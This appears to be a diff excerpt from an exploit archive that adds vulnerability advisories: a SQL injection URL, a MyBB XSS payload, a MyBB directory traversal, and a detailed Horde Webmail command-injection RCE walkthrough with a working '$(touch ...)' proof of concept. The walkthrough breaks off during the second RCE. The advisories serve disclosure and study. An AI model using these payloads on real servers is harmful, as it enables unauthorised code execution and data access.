# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# #ihsansencan
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/home/categorySearch?category_id=[SQL]
|
||||
# # # # #
|
29
platforms/php/webapps/41860.txt
Executable file
29
platforms/php/webapps/41860.txt
Executable file
|
@ -0,0 +1,29 @@
|
|||
Description:
|
||||
============
|
||||
|
||||
product:MyBB
|
||||
Homepage:https://mybb.com/
|
||||
vulnerable version:<1.8.11
|
||||
Severity:High risk
|
||||
|
||||
===============
|
||||
|
||||
Proof of Concept:
|
||||
=============
|
||||
|
||||
1.post a thread or reply any thread ,write:
|
||||
|
||||
[email=2"onmouseover="alert(document.location)]hover me[/email]
|
||||
|
||||
then when user’s mouse hover it,XSS attack will occur!
|
||||
|
||||
============
|
||||
|
||||
Fixed:
|
||||
============
|
||||
|
||||
This vulnerability was fixed in version 1.8.11
|
||||
|
||||
https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/
|
||||
|
||||
=============
|
35
platforms/php/webapps/41862.txt
Executable file
35
platforms/php/webapps/41862.txt
Executable file
|
@ -0,0 +1,35 @@
|
|||
Description:
|
||||
============
|
||||
|
||||
product: MyBB
|
||||
Homepage: https://mybb.com/
|
||||
vulnerable version: < 1.8.11
|
||||
Severity: Low risk
|
||||
|
||||
===============
|
||||
|
||||
Proof of Concept:
|
||||
=============
|
||||
|
||||
vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple
|
||||
|
||||
vulnerability file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php
|
||||
|
||||
vulnerability Code:
|
||||
|
||||
Line 326 $path = $mybb->input['pathfolder'];
|
||||
|
||||
Line 327 $dir = @opendir(MYBB_ROOT.$path);
|
||||
|
||||
if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!
|
||||
|
||||
============
|
||||
|
||||
Fixed:
|
||||
============
|
||||
|
||||
This vulnerability was fixed in version 1.8.11
|
||||
|
||||
https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/
|
||||
|
||||
=============
|
865
platforms/php/webapps/41864.txt
Executable file
865
platforms/php/webapps/41864.txt
Executable file
|
@ -0,0 +1,865 @@
|
|||
Source: https://blogs.securiteam.com/index.php/archives/3107
|
||||
|
||||
Vulnerabilities Summary
|
||||
The following advisory describes two (2) vulnerabilities found in
|
||||
Horde Groupware Webmail.
|
||||
|
||||
Horde Groupware Webmail Edition is a free, enterprise ready, browser
|
||||
based communication suite. Users can read, send and organize email
|
||||
messages and manage and share calendars, contacts, tasks, notes,
|
||||
files, and bookmarks with the standards compliant components from the
|
||||
Horde Project. Horde Groupware Webmail Edition bundles the separately
|
||||
available applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo,
|
||||
Gollem, and Trean.
|
||||
|
||||
It can be extended with any of the released Horde applications or the
|
||||
applications that are still in development, like a bookmark manager or
|
||||
a file manager.
|
||||
|
||||
Affected versions: Horde 5, 4 and 3
|
||||
|
||||
The vulnerabilities found in Horde Groupware Webmail are:
|
||||
|
||||
Authentication Remote Code Execution
|
||||
Unauthentication Remote Code Execution
|
||||
|
||||
Credit
|
||||
An independent security researcher has reported this vulnerability to
|
||||
Beyond Security’s SecuriTeam Secure Disclosure program.
|
||||
|
||||
Vendor response
|
||||
Horde has released a patch to address the vulnerabilities.
|
||||
|
||||
For more information:
|
||||
https://lists.horde.org/archives/horde/Week-of-Mon-20170403/056767.html
|
||||
|
||||
Vulnerabilities Details
|
||||
|
||||
Authentication Remote Code Execution
|
||||
Horde Webmail contains a vulnerability that allows a remote attacker
|
||||
to execute arbitrary code with the privileges of the user who runs the
|
||||
web server.
|
||||
|
||||
For successful attack GnuPG feature should be enabled on the target
|
||||
server (path to gpg binary should be defined in $conf[gnupg][path]
|
||||
setting).
|
||||
|
||||
Vulnerable code: encryptMessage() function of GPG feature.
|
||||
|
||||
Path: /Horde/Crypt/Pgp/Backend/Binary.php:
|
||||
|
||||
/* 416 */ public function encryptMessage($text, $params)
|
||||
/* 417 */ {
|
||||
/* … */
|
||||
/* 435 */ foreach (array_keys($params['recips']) as $val) {
|
||||
/* 436 */ $cmdline[] = '--recipient ' . $val;
|
||||
#! vulnerable code
|
||||
/* … */
|
||||
/* 444 */ /* Encrypt the document. */
|
||||
/* 445 */ $result = $this->_callGpg(
|
||||
/* 446 */ $cmdline,
|
||||
/* 447 */ 'w',
|
||||
/* 448 */ empty($params['symmetric']) ? null : $params['passphrase'],
|
||||
/* 449 */ true,
|
||||
/* 450 */ true
|
||||
/* 451 */ );
|
||||
|
||||
$params[‘recips’] will be added to $cmdline array and passed to _callGpg():
|
||||
|
||||
Path: /Horde/Crypt/Pgp/Backend/Binary.php:
|
||||
|
||||
/* 642 */ public function _callGpg(
|
||||
/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,
|
||||
/* 644 */ $parseable = false, $verbose = false
|
||||
/* 645 */ )
|
||||
/* 646 */ {
|
||||
/* … */
|
||||
/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));
|
||||
/* … */
|
||||
/* 681 */ if ($mode == 'w') {
|
||||
/* 682 */ if ($fp = popen($cmdline, 'w')) { #!
|
||||
vulnerable code
|
||||
/* … */
|
||||
|
||||
We can see that our recipients (addresses) will be in command line
|
||||
that is going to be executed. encryptMessage() function can be reached
|
||||
by various API, requests. For example it will be called when user try
|
||||
to send encrypted message.
|
||||
|
||||
Our request for encryption and sending our message will be processed
|
||||
by buildAndSendMessage() method:
|
||||
Path: /imp/lib/Compose.php
|
||||
|
||||
/* 733 */ public function buildAndSendMessage(
|
||||
/* 734 */ $body, $header, IMP_Prefs_Identity $identity, array $opts = array()
|
||||
/* 735 */ )
|
||||
/* 736 */ {
|
||||
/* 737 */ global $conf, $injector, $notification, $prefs, $registry, $session;
|
||||
/* 738 */
|
||||
/* 739 */ /* We need at least one recipient & RFC 2822 requires that no 8-bit
|
||||
/* 740 */ * characters can be in the address fields. */
|
||||
/* 741 */ $recip = $this->recipientList($header);
|
||||
/* ... */
|
||||
/* 793 */ /* Must encrypt & send the message one recipient at a time. */
|
||||
/* 794 */ if ($prefs->getValue('use_smime') &&
|
||||
/* 795 */ in_array($encrypt, array(IMP_Crypt_Smime::ENCRYPT,
|
||||
IMP_Crypt_Smime::SIGNENC))) {
|
||||
/* ... */
|
||||
/* 807 */ } else {
|
||||
/* 808 */ /* Can send in clear-text all at once, or PGP can encrypt
|
||||
/* 809 */ * multiple addresses in the same message. */
|
||||
/* 810 */ $msg_options['from'] = $from;
|
||||
/* 811 */ $save_msg = $this->_createMimeMessage($recip['list'], $body,
|
||||
$msg_options); #! vulnerable code
|
||||
|
||||
In line 741 it tries to create recipient list: Horde parsers values of
|
||||
‘to’, ‘cc’, ‘bcc’ headers and creates list of Rfc822 addresses. In
|
||||
general there are restrictions for characters in addresses but if we
|
||||
will use the next format:
|
||||
|
||||
display-name <"somemailbox"@somedomain.com>
|
||||
|
||||
somemailbox will be parsed by _rfc822ParseQuotedString() method:
|
||||
|
||||
Path: /Horde/Mail/Rfc822.php:
|
||||
|
||||
/* 557 */ protected function _rfc822ParseQuotedString(&$str)
|
||||
/* 558 */ {
|
||||
/* 559 */ if ($this->_curr(true) != '"') {
|
||||
/* 560 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');
|
||||
/* 561 */ }
|
||||
/* 563 */ while (($chr = $this->_curr(true)) !== false) {
|
||||
/* 564 */ switch ($chr) {
|
||||
/* 565 */ case '"':
|
||||
/* 566 */ $this->_rfc822SkipLwsp();
|
||||
/* 567 */ return;
|
||||
/* 569 */ case "\n":
|
||||
/* 570 */ /* Folding whitespace, remove the (CR)LF. */
|
||||
/* 571 */ if (substr($str, -1) == "\r") {
|
||||
/* 572 */ $str = substr($str, 0, -1);
|
||||
/* 573 */ }
|
||||
/* 574 */ continue;
|
||||
/* 576 */ case '\\':
|
||||
/* 577 */ if (($chr = $this->_curr(true)) === false) {
|
||||
/* 578 */ break 2;
|
||||
/* 579 */ }
|
||||
/* 580 */ break;
|
||||
/* 581 */ }
|
||||
/* 583 */ $str .= $chr;
|
||||
/* 584 */ }
|
||||
/* 586 */ /* Missing trailing '"', or partial quoted character. */
|
||||
/* 587 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.');
|
||||
/* 588 */ }
|
||||
|
||||
There are only a few limitations:
|
||||
|
||||
we cannot use “
|
||||
\n will be deleted
|
||||
we cannot use \ at the end of our mailbox
|
||||
|
||||
After creation of recipient list buildAndSendMessage() will call
|
||||
_createMimeMessage():
|
||||
|
||||
Path: /imp/lib/Compose.php
|
||||
|
||||
/* 1446 */ protected function _createMimeMessage(
|
||||
/* 1447 */ Horde_Mail_Rfc822_List $to, $body, array $options = array()
|
||||
/* 1448 */ )
|
||||
/* 1449 */ {
|
||||
/* 1450 */ global $conf, $injector, $prefs, $registry;
|
||||
/* ... */
|
||||
/* 1691 */ /* Set up the base message now. */
|
||||
/* 1692 */ $encrypt = empty($options['encrypt'])
|
||||
/* 1693 */ ? IMP::ENCRYPT_NONE
|
||||
/* 1694 */ : $options['encrypt'];
|
||||
/* 1695 */ if ($prefs->getValue('use_pgp') &&
|
||||
/* 1696 */ !empty($conf['gnupg']['path']) &&
|
||||
/* 1697 */ in_array($encrypt, array(IMP_Crypt_Pgp::ENCRYPT,
|
||||
IMP_Crypt_Pgp::SIGN, IMP_Crypt_Pgp::SIGNENC,
|
||||
IMP_Crypt_Pgp::SYM_ENCRYPT, IMP_Crypt_Pgp::SYM_SIGNENC))) {
|
||||
/* 1698 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');
|
||||
/* ... */
|
||||
/* 1727 */ /* Do the encryption/signing requested. */
|
||||
/* 1728 */ try {
|
||||
/* 1729 */ switch ($encrypt) {
|
||||
/* ... */
|
||||
/* 1735 */ case IMP_Crypt_Pgp::ENCRYPT:
|
||||
/* 1736 */ case IMP_Crypt_Pgp::SYM_ENCRYPT:
|
||||
/* 1737 */ $to_list = clone $to;
|
||||
/* 1738 */ if (count($options['from'])) {
|
||||
/* 1739 */ $to_list->add($options['from']);
|
||||
/* 1740 */ }
|
||||
/* 1741 */ $base = $imp_pgp->IMPencryptMIMEPart($base, $to_list,
|
||||
($encrypt == IMP_Crypt_Pgp::SYM_ENCRYPT) ?
|
||||
$symmetric_passphrase : null);
|
||||
/* 1742 */ break;
|
||||
|
||||
Here we can see validation (1695-1696 lines) that:
|
||||
|
||||
Current user has enabled “use_pgp” feature in his preferences (it is
|
||||
not a problem as an attacker can edit his own preferences)
|
||||
$conf[‘gnupg’][‘path’] is not empty. This value can be edited only by
|
||||
admin. So if we don’t have value here our server is not vulnerable.
|
||||
But if admin wants to allow users to use GPG feature he/she needs to
|
||||
define value for this config.
|
||||
|
||||
Also we can see that in lines 1737-1739 to our recipient list will be
|
||||
added address “from” as well.
|
||||
|
||||
Path: /imp/lib/Crypt/Pgp.php
|
||||
|
||||
/* 584 */ public function impEncryptMimePart($mime_part,
|
||||
/* 585 */ Horde_Mail_Rfc822_List $addresses,
|
||||
/* 586 */ $symmetric = null)
|
||||
/* 587 */ {
|
||||
/* 588 */ return $this->encryptMimePart($mime_part,
|
||||
$this->_encryptParameters($addresses, $symmetric));
|
||||
/* 589 */ }
|
||||
|
||||
Before encryptMimePart() call Horde uses _encryptParameters()
|
||||
|
||||
Path: /imp/lib/Crypt/Pgp.php
|
||||
|
||||
/* 536 */ protected function _encryptParameters(Horde_Mail_Rfc822_List
|
||||
$addresses,
|
||||
/* 537 */ $symmetric)
|
||||
/* 538 */ {
|
||||
/* ... */
|
||||
/* 546 */ $addr_list = array();
|
||||
/* 548 */ foreach ($addresses as $val) {
|
||||
/* 549 */ /* Get the public key for the address. */
|
||||
/* 550 */ $bare_addr = $val->bare_address;
|
||||
/* 551 */ $addr_list[$bare_addr] = $this->getPublicKey($bare_addr);
|
||||
/* 552 */ }
|
||||
/* 554 */ return array('recips' => $addr_list);
|
||||
/* 555 */ }
|
||||
|
||||
Horde will add to each address its Public Key. There a few source of
|
||||
Public Keys:
|
||||
|
||||
AddressBook (we will use this source)
|
||||
Servers with Public Keys
|
||||
|
||||
Note that Horde should be able to find Public Key for our “From”
|
||||
address as well.
|
||||
We can generate pair of PGP keys (https is required) or we can use the
|
||||
same trick with AddressBook (we can create some contact, add any valid
|
||||
Public PGP key, and add this address to default identity)
|
||||
encryptMimePart() will call encrypt() method
|
||||
|
||||
Path: /Horde/Crypt/Pgp.php
|
||||
|
||||
/* 773 */ public function encryptMIMEPart($mime_part, $params = array())
|
||||
/* 774 */ {
|
||||
/* 775 */ $params = array_merge($params, array('type' => 'message'));
|
||||
/* … */
|
||||
/* 781 */ $message_encrypt = $this->encrypt($signenc_body, $params);
|
||||
|
||||
It will call encryptMessage()
|
||||
|
||||
Path: /Horde/Crypt/Pgp.php
|
||||
|
||||
/* 554 */ public function encrypt($text, $params = array())
|
||||
/* 555 */ {
|
||||
/* 556 */ switch (isset($params['type']) ? $params['type'] : false) {
|
||||
/* 557 */ case 'message':
|
||||
/* 558 */ $error = Horde_Crypt_Translation::t(
|
||||
/* 559 */ "Could not PGP encrypt message."
|
||||
/* 560 */ );
|
||||
/* 561 */ $func = 'encryptMessage';
|
||||
/* 562 */ break;
|
||||
/* ... */
|
||||
/* 586 */ $this->_initDrivers();
|
||||
/* 587 */
|
||||
/* 588 */ foreach ($this->_backends as $val) {
|
||||
/* 589 */ try {
|
||||
/* 590 */ return $val->$func($text, $params);
|
||||
/* 591 */ } catch (Horde_Crypt_Exception $e) {}
|
||||
/* 592 */ }
|
||||
|
||||
In conclusions:
|
||||
If Horde server has enabled “GnuPG feature” any unprivileged user is
|
||||
able to execute arbitrary code.
|
||||
|
||||
Enable GPG feature for attacker account (“Enable PGP functionality?”
|
||||
checkbox on “PGP Configure PGP encryption support.” section in
|
||||
Prefferences->Mail page )
|
||||
Create some contact in the attacker AddressBook, add any valid Public
|
||||
PGP key, and add this address to default identity
|
||||
Create another contact in the attacker AddressBook, add any valid
|
||||
Public PGP key, and change email address to some$(desired command to
|
||||
execute) contact@somedomain.com
|
||||
Create a new message to some$(desired command to execute) contact@somedomain.com
|
||||
Choose Encryption:PGP Encrypt Message option
|
||||
Click Send button
|
||||
|
||||
And desired command will be executed on the Horde server.
|
||||
|
||||
Proof of Concept – Authenticated Code Execution
|
||||
|
||||
For Proof of Concept we can use preconfigured image of Horde server
|
||||
from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs
|
||||
that work on any platform”):
|
||||
|
||||
https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova
|
||||
|
||||
Step 1 – Login as admin (by default user:bitnami) and go to
|
||||
Administration -> Configuration and choose Horde (horde). Open GnuPG
|
||||
tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click
|
||||
“Generate Horde Configuration“:
|
||||
|
||||
Now we have enabled GPG feature on our server and we can login as
|
||||
regular user and try to execute desired commands. But Bitnami image
|
||||
does not have installed and configured Mail server so we need to use
|
||||
external one or install it on local machine.
|
||||
|
||||
We will use gmail account (to be able to login to it from Horde I had
|
||||
to change Gmail account setting Allow less secure apps: ON).
|
||||
|
||||
To use external Mail server we need to change the next setting:
|
||||
“Administrator Panel” -> “Configuration” -> “Horde” ->
|
||||
“Authentication”
|
||||
|
||||
Step 2 – Configure Horde web-mail authentication ($conf[auth][driver])
|
||||
to “Let a Horde application handle authentication” and click “Generate
|
||||
Horde Configuration”:
|
||||
|
||||
Step 3 – logout and login with your gmail account. Currently we are
|
||||
login as regular user so we can try to execute desired commands:
|
||||
|
||||
Go to Preferences -> Mail and click on PGP link. Check Enable PGP
|
||||
functionality? checkbox and click “Save”:
|
||||
|
||||
Create “from” contact in our AddressBook: “Address Book -> New Contact
|
||||
-> in Address Book of …”
|
||||
|
||||
Personal tab – Last Name: mymailboxwithPGPkey
|
||||
Communication tab – Email: mymailboxwihPGP@any.com
|
||||
Other tab – PGP Public Key: any valid Public PGP key.
|
||||
|
||||
For example:
|
||||
|
||||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
Version: SKS 1.1.6
|
||||
Comment: Hostname: keyserver.ubuntu.com
|
||||
mQGiBDk89iARBADhB7AyHQ/ZBlZjRRp1/911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01
|
||||
YPdAnovgzxTS89svuVHP/BiqLqhJMl2FfMLcJX+va+DujGuLDCZDHi+4czc33N3z8ArpxzPQ
|
||||
5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D
|
||||
/iOIP/6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82
|
||||
z77raSqbZVJzAFPzYoIKuc3JOoxxE+SelzSzj4LuQRXYKqZzT8/qYBCLg9cmhdm8PnwE9fd/
|
||||
POGnNQFMk0i2xSz0FMr9R1emIKNsA/454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr
|
||||
72CW3eFUAdF+4bJQU/V69Nr+CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch
|
||||
zVxJZ5Cyo/tMSOY/CxvLL/vMoT2+kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl
|
||||
Y2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc+iEYEEBECAAYFAjk+IEgACgkQzDSD4hsI
|
||||
fQSaWQCgiDvvnRxa8XFOKy/NI7CKL5X4D28An2k9Cbh+dosXvB5zGCuQiAkLiQ+CiEYEEREC
|
||||
AAYFAkKTPFcACgkQCY+3LE2/Ce4l+gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k
|
||||
YI0NfUth+0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep
|
||||
fpAAoJezEplLlaGQHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPoheBBMRAgAW
|
||||
BQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt+1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ
|
||||
HM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPrkBDQQ5PPYqEAQArSW27DriJAFs
|
||||
Or+fnb3VwsYvznFfEv8NJyM/9/lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu/
|
||||
VefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA+URtFOA5tSj67h0G4fo0
|
||||
P8xmsUXNgWVxX/MAAwUD/jUPLFgQ4ThcuUpxCkjMz+Pix0o37tOrFOU/H0cn9SHzCQKxn+iC
|
||||
sqZlCsR+qXNDl43vSa6Riv/aHtrD+MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG+QaUqw
|
||||
gfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u/xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ
|
||||
WyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv
|
||||
iE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk+DFRBsMw/27
|
||||
kq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8=
|
||||
=RHjX
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
Click “Add” button:
|
||||
|
||||
Go to Preferences -> Global Preferences and click on Personal
|
||||
Information link. Put mymailboxwihPGP@any.com into field The default
|
||||
e-mail address to use with this identity and Click “Save”:
|
||||
|
||||
Create our “to” contact in our AddressBook: “Address Book -> New
|
||||
Contact -> in Address Book of …”
|
||||
|
||||
Personal tab – Last Name: contact_for_attack
|
||||
Communication tab – Email: hereinj@any.com
|
||||
Other tab – PGP Public Key: any valid Public PGP key (it can be the
|
||||
same as in the previous step)
|
||||
And click “Add” button:
|
||||
|
||||
Inject our command: Click on Edit. Go to Communication Tab, put cursor
|
||||
in Email field and chose “Inspect Element (Q)” from context menu:
|
||||
|
||||
Delete “email” from the type argument and close Inspector:
|
||||
|
||||
1
|
||||
<input name="object[email]" id="object_email_" value="hereinj@any.com"
|
||||
type="email">
|
||||
|
||||
Edit the address as we want – for example hereinj$(touch
|
||||
/tmp/hereisvuln)@any.com and click “Save”:
|
||||
|
||||
Create a new message ( Mail -> New Message) with our contact as recipient:
|
||||
|
||||
Choose PGP Encrypt Message in Encryption option:
|
||||
|
||||
Enter any subject and any content. Click “Send”
|
||||
|
||||
We will get “PGP Error:…”
|
||||
|
||||
It is ok – let’s check our server:
|
||||
|
||||
We have a new file “hereisvuln” so our command was executed.
|
||||
|
||||
Unauthentication Remote Code Execution
|
||||
Horde Webmail contains a vulnerability that allows a remote attacker
|
||||
to execute arbitrary code with the privileges of the user who runs the
|
||||
web server.
|
||||
|
||||
Vulnerable code: decryptSignature() function of GPG feature.
|
||||
|
||||
Path: /Horde/Crypt/Pgp/Backend/Binary.php:
|
||||
|
||||
/* 539 */ public function decryptSignature($text, $params)
|
||||
/* 540 */ {
|
||||
/* ... */
|
||||
/* 550 */ /* Options for the GPG binary. */
|
||||
/* 551 */ $cmdline = array(
|
||||
/* 552 */ '--armor',
|
||||
/* 553 */ '--always-trust',
|
||||
/* 554 */ '--batch',
|
||||
/* 555 */ '--charset ' . (isset($params['charset']) ?
|
||||
$params['charset'] : 'UTF-8'),
|
||||
/* 556 */ $keyring,
|
||||
/* 557 */ '--verify'
|
||||
/* 558 */ );
|
||||
/* ... */
|
||||
/* 571 */ $result = $this->_callGpg($cmdline, 'r', null, true, true, true);
|
||||
/* ... */
|
||||
|
||||
$params[‘charset’] will be added to $cmdline array and passed to _callGpg():
|
||||
|
||||
/* 642 */ public function _callGpg(
|
||||
/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false,
|
||||
/* 644 */ $parseable = false, $verbose = false
|
||||
/* 645 */ )
|
||||
/* 646 */ {
|
||||
/* … */
|
||||
/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options));
|
||||
/* … */
|
||||
/* 681 */ if ($mode == 'w') {
|
||||
/* … */
|
||||
/* 704 */ } elseif ($mode == 'r') {
|
||||
/* 705 */ if ($fp = popen($cmdline, 'r')) {
|
||||
/* … */
|
||||
|
||||
Our $params[‘charset’] will be in command line that is going to be executed.
|
||||
|
||||
decryptSignature() is called from decrypt() method:
|
||||
|
||||
Path – /Horde/Crypt/Pgp.php:
|
||||
|
||||
/* 611 */ public function decrypt($text, $params = array())
|
||||
/* 612 */ {
|
||||
/* 613 */ switch (isset($params['type']) ? $params['type'] : false) {
|
||||
/* 614 */ case 'detached-signature':
|
||||
/* 615 */ case 'signature':
|
||||
/* 616 */ /* Check for required parameters. */
|
||||
/* 617 */ if (!isset($params['pubkey'])) {
|
||||
/* 618 */ throw new InvalidArgumentException(
|
||||
/* 619 */ 'A public PGP key is required to verify a signed message.'
|
||||
/* 620 */ );
|
||||
/* 621 */ }
|
||||
/* 622 */ if (($params['type'] === 'detached-signature') &&
|
||||
/* 623 */ !isset($params['signature'])) {
|
||||
/* 624 */ throw new InvalidArgumentException(
|
||||
/* 625 */ 'The detached PGP signature block is required to verify the
|
||||
signed message.'
|
||||
/* 626 */ );
|
||||
/* 627 */ }
|
||||
/* 628 */
|
||||
/* 629 */ $func = 'decryptSignature';
|
||||
/* 630 */ break;
|
||||
/* ... */
|
||||
/* 650 */ $this->_initDrivers();
|
||||
/* 651 */
|
||||
/* 652 */ foreach ($this->_backends as $val) {
|
||||
/* 653 */ try {
|
||||
/* 654 */ return $val->$func($text, $params);
|
||||
/* 655 */ } catch (Horde_Crypt_Exception $e) {}
|
||||
/* 656 */ }
|
||||
/* ... */
|
||||
|
||||
decrypt() with needed parameters is used in verifySignature():
|
||||
|
||||
Path – /imp/lib/Crypt/Pgp.php
|
||||
|
||||
/* 339 */ public function verifySignature($text, $address, $signature = '',
|
||||
/* 340 */ $charset = null)
|
||||
/* 341 */ {
|
||||
/* 342 */ if (!empty($signature)) {
|
||||
/* 343 */ $packet_info = $this->pgpPacketInformation($signature);
|
||||
/* 344 */ if (isset($packet_info['keyid'])) {
|
||||
/* 345 */ $keyid = $packet_info['keyid'];
|
||||
/* 346 */ }
|
||||
/* 347 */ }
|
||||
/* 349 */ if (!isset($keyid)) {
|
||||
/* 350 */ $keyid = $this->getSignersKeyID($text);
|
||||
/* 351 */ }
|
||||
/* 353 */ /* Get key ID of key. */
|
||||
/* 354 */ $public_key = $this->getPublicKey($address, array('keyid' => $keyid));
|
||||
/* 356 */ if (empty($signature)) {
|
||||
/* 357 */ $options = array('type' => 'signature');
|
||||
/* 358 */ } else {
|
||||
/* 359 */ $options = array('type' => 'detached-signature', 'signature'
|
||||
=> $signature);
|
||||
/* 360 */ }
|
||||
/* 361 */ $options['pubkey'] = $public_key;
|
||||
/* 363 */ if (!empty($charset)) {
|
||||
/* 364 */ $options['charset'] = $charset;
|
||||
/* 365 */ }
|
||||
/* 369 */ return $this->decrypt($text, $options);
|
||||
/* 370 */ }
|
||||
|
||||
verifySignature() is called from _outputPGPSigned():
|
||||
|
||||
Path – /imp/lib/Mime/Viewer/Pgp.php
|
||||
|
||||
/* 387 */ protected function _outputPGPSigned()
|
||||
/* 388 */ {
|
||||
/* 389 */ global $conf, $injector, $prefs, $registry, $session;
|
||||
/* 390 */
|
||||
/* 391 */ $partlist = array_keys($this->_mimepart->contentTypeMap());
|
||||
/* 392 */ $base_id = reset($partlist);
|
||||
/* 393 */ $signed_id = next($partlist);
|
||||
/* 394 */ $sig_id = Horde_Mime::mimeIdArithmetic($signed_id, 'next');
|
||||
/* 395 */
|
||||
/* 396 */ if (!$prefs->getValue('use_pgp') || empty($conf['gnupg']['path'])) {
|
||||
/* 397 */ return array(
|
||||
/* 398 */ $sig_id => null
|
||||
/* 399 */ );
|
||||
/* 400 */ }
|
||||
/* ... */
|
||||
/* 417 */ if ($prefs->getValue('pgp_verify') ||
|
||||
/* 418 */ $injector->getInstance('Horde_Variables')->pgp_verify_msg) {
|
||||
/* 419 */ $imp_contents = $this->getConfigParam('imp_contents');
|
||||
/* 420 */ $sig_part = $imp_contents->getMIMEPart($sig_id);
|
||||
/* ... */
|
||||
/* 433 */ try {
|
||||
/* 434 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp');
|
||||
/* 435 */ if ($sig_raw =
|
||||
$sig_part->getMetadata(Horde_Crypt_Pgp_Parse::SIG_RAW)) {
|
||||
/* 436 */ $sig_result = $imp_pgp->verifySignature($sig_raw,
|
||||
$this->_getSender()->bare_address, null, $sig_part-
|
||||
> getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET));
|
||||
/* ... */
|
||||
|
||||
And it is used in _renderInline():
|
||||
|
||||
Path – /imp/lib/Mime/Viewer/Pgp.php
|
||||
|
||||
/* 134 */ protected function _renderInline()
|
||||
/* 135 */ {
|
||||
/* 136 */ $id = $this->_mimepart->getMimeId();
|
||||
/* 138 */ switch ($this->_mimepart->getType()) {
|
||||
/* ... */
|
||||
/* 142 */ case 'multipart/signed':
|
||||
/* 143 */ return $this->_outputPGPSigned();
|
||||
|
||||
Let’s go back to _outputPGPSigned() method. We can see a few
|
||||
requirements before the needed call:
|
||||
|
||||
$conf[‘gnupg’][‘path’] should be not empty. This value can be edited
|
||||
only by admin(if he/she wants to allow users to use GPG feature he/she
|
||||
needs to define value for this config).
|
||||
Current user has enabled “use_pgp” feature in his preferences
|
||||
Current user has enabled “pgp_verify” feature in his preferences
|
||||
Current user has enabled “pgp_verify” feature in his preferences
|
||||
|
||||
Also we see that our charset value is taken from $sig_part ->
|
||||
getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET)
|
||||
|
||||
Our value will be stored during parsing of PGP parts:
|
||||
|
||||
Path – /Horde/Crypt/Pgp/Parse.php
|
||||
|
||||
/* 150 */ public function parseToPart($text, $charset = 'UTF-8')
|
||||
/* 151 */ {
|
||||
/* 152 */ $parts = $this->parse($text);
|
||||
/* ... */
|
||||
/* 162 */ while (list(,$val) = each($parts)) {
|
||||
/* 163 */ switch ($val['type']) {
|
||||
/* ... */
|
||||
/* 200 */ case self::ARMOR_SIGNED_MESSAGE:
|
||||
/* 201 */ if ((list(,$sig) = each($parts)) &&
|
||||
/* 202 */ ($sig['type'] == self::ARMOR_SIGNATURE)) {
|
||||
/* 203 */ $part = new Horde_Mime_Part();
|
||||
/* 204 */ $part->setType('multipart/signed');
|
||||
/* 205 */ // TODO: add micalg parameter
|
||||
/* 206 */ $part->setContentTypeParameter('protocol',
|
||||
'application/pgp-signature');
|
||||
/* 207 */
|
||||
/* 208 */ $part1 = new Horde_Mime_Part();
|
||||
/* 209 */ $part1->setType('text/plain');
|
||||
/* 210 */ $part1->setCharset($charset);
|
||||
/* 211 */
|
||||
/* 212 */ $part1_data = implode("\n", $val['data']);
|
||||
/* 213 */ $part1->setContents(substr($part1_data, strpos($part1_data,
|
||||
"\n\n") + 2));
|
||||
/* 214 */
|
||||
/* 215 */ $part2 = new Horde_Mime_Part();
|
||||
/* 216 */
|
||||
/* 217 */ $part2->setType('application/pgp-signature');
|
||||
/* 218 */ $part2->setContents(implode("\n", $sig['data']));
|
||||
/* 219 */
|
